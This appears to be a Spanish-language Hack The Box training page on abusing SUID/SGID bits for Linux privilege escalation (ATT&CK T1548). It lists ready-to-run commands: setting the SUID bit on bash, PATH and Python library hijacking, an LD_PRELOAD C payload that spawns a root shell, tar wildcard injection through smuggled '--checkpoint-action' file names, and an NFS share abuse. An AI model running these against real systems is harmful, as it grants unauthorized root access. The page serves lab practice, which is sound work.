Setuid y setgid
Subtécnica de T1548 Abuso de mecanismos de elevación
Ejecutar como root un binario con el bit SUID que permite leer, escribir o lanzar una shell.
Cómo aparece en Hack The Box
find / -perm -4000 y compara con lo normal de la distribución. Lo raro (un binario propio en /usr/local/bin o algo de GTFOBins) es casi siempre el camino.
Técnicas de nuestro catálogo que corresponden a esta (el número son sus máquinas):
Máquinas para practicarla
Ordenadas de más fácil a más difícil. El enlace ▶ te lleva al minuto del vídeo de IppSec donde se usa.
Guías
- Escalada en Linux: sudo, SUID y capabilities 4 min de lectura Las tres comprobaciones que más roots dan en Hack The Box: qué te deja ejecutar sudo, qué binarios son SUID y qué capabilities tienen, con los abusos típicos de cada caso.
Comandos
Sacados de nuestras chuletas y fichas de herramientas. Escribe tus datos y se rellenan en todos los comandos.
Escalada de privilegios en Linux › Comprobaciones
find / -perm -4000 -type f 2>/dev/null
find / -perm -2000 -type f 2>/dev/null
Escalada de privilegios en Linux › Explotación
chmod u+s /bin/bash
bash -p
echo -e '#!/bin/bash\nchmod u+s /bin/bash' > /tmp/ps
chmod +x /tmp/ps
export PATH=/tmp:$PATH
echo 'import os; os.system("chmod u+s /bin/bash")' > /ruta/del/script/random.py
Si sudo ejecuta un script de Python que importa random y puedes escribir en su carpeta (o en una ruta de sys.path anterior).
cat > /tmp/x.c << 'FIN'
#include <stdlib.h>
#include <unistd.h>
void _init() { unsetenv("LD_PRELOAD"); setuid(0); setgid(0); system("/bin/bash -p"); }
FIN
gcc -fPIC -shared -nostartfiles -o /tmp/x.so /tmp/x.c
sudo LD_PRELOAD=/tmp/x.so programa_permitido
echo 'chmod u+s /bin/bash' > x.sh
touch -- '--checkpoint=1' '--checkpoint-action=exec=sh x.sh'
sudo mount -t nfs VICTIMA:/compartido /mnt/nfs
sudo cp /bin/bash /mnt/nfs/ && sudo chmod u+s /mnt/nfs/bash
Luego, en la víctima: /compartido/bash -p. Copia un bash compatible con la versión de la víctima.
Ningún comando coincide.